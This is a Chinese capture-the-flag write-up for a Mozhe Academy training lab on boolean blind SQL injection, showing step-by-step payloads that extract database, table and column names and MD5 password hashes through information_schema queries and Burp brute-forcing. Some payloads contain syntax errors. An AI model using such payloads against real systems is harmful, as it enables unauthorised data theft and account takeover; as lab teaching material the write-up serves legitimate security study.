墨者学院-SQL注入漏洞测试(布尔盲注)

拿到题目之后打开网站发现如下界面
墨者学院-SQL注入漏洞测试(布尔盲注)_第1张图片
本以为是输入框存在注入,结果发现并不是,而是下面一段小字,发现存在id=1的字样
墨者学院-SQL注入漏洞测试(布尔盲注)_第2张图片

手工注入:

前置知识!!!
1.information_schema.schemata 该表存储了数据库所有数据****名
其中schema_name为数据库的库名存在此表中

2.information_schema.tables该表在存储了数据库中的所有****名
table_schema 为数据库名
table_name为数据表名
table_rows为行的粗略估计
table_length记录表的大小

1.判断注入点:

首先应该判断是否有闭合字符,当输入and 1=1界面正常,and 1=2时界面错误,说明无闭合字符,为数字型注入。

2.爆破数据库:

因为已经知道数据库为mysql,则接下来爆数据库

一般用到的函数:
. concat(str1,str2,...)——没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串 
3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
1. version()——MySQL 版本
2. user()——数据库用户名 
3. database()——数据库名
4. @@datadir——数据库路径 
5. @@version_compile_os——操作系统版本
database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位
substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度
mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
ascii(),将字符转为 ascii 值

and length(database())>5
利用二分法或者burp爆破模块跑出数据库的字段数为10,接下来爆破数据库名称
ascii(substr(database(),1,1))=48
墨者学院-SQL注入漏洞测试(布尔盲注)_第3张图片通过burp爆破一般情况下跑48-127,来爆破出数据库名称:stormgroup
ps:导出名称的时候先将1250长字段标红,接下来筛选出高字段,接下来payload的降序一下,这样就是顺序,再导出payload2,这就是字段的ASCII值,之后转换就可以得到字段名称了

3.爆破数据表

1.爆破数据表:先跑出一共几个表
id=1 and (select count (table_name) from information_schema.tables where schema_name=database())=1

墨者学院-SQL注入漏洞测试(布尔盲注)_第4张图片2.共两个表,接下来跑表的长度
id=1 and length((select table_name from information_schema.tables where schema_name=database() limit 0,1))=1
ps:这里注意要有两个括号,一个为length()函数自身括号,另一个为包裹查询这整个sql语句

3.两个表长度都为6,接下来爆表名
id=1 and ascii(substr(select table_name from information_schema.tables where schema_name=database() limit 0,1),1,1)=1

ps id=1 and ascii(substr(select table_name from information_schema.tables where schema_name=database() limit 0,1),1,1)=48 用burp跑这两个字段 下面同理

得到表名为**membernotice**

4.爆破字段

1.跑出每个表中有几个字段
(select count(column_name) from information_schema.columns where table_name='member')=1 得出第一张表有3个字段,第二章表有4个字段。

length((select column_name from information_schema.columns where table_name="member" limit 0,1))=1
得到member三个字段的长度分别为**4 8 6而notice字段的长度分别为2 5 7 4**

墨者学院-SQL注入漏洞测试(布尔盲注)_第5张图片2.接下来字段名称
ascii(substr((select column_name from information_schema.columns where table_name="member" limit 0,1), 1,1))
得到member字段分别为name, password, status, 而notice字段分别为id, title,墨者学院-SQL注入漏洞测试(布尔盲注)_第6张图片
3.同导出数据库名称一样越burp跑出共7个字段名
得到**member字段为name, password, status,** 而**notice字段分别为id, title, content, time**

4.判断password字段数,因为一般mysql都为md5加密,会很长,当然也可以在跑字段的时候password设置的长度大一点
length((select password from member limit 1,1))>5
之后爆破**namepassword**字段

name都是mozhe,但password为32位md5值,共两个数据,跑出md5后转换一下,得到用户名与密码,进行最开始的登录界面,第一组用户显示被进禁止,第二组可以进入,并得到最后key值,key值为动态的,需要自己破解跑哦。
墨者学院-SQL注入漏洞测试(布尔盲注)_第7张图片

墨者学院-SQL注入漏洞测试(布尔盲注)_第8张图片
墨者学院-SQL注入漏洞测试(布尔盲注)_第9张图片

你可能感兴趣的:(墨者学院,debian,linux,mysql)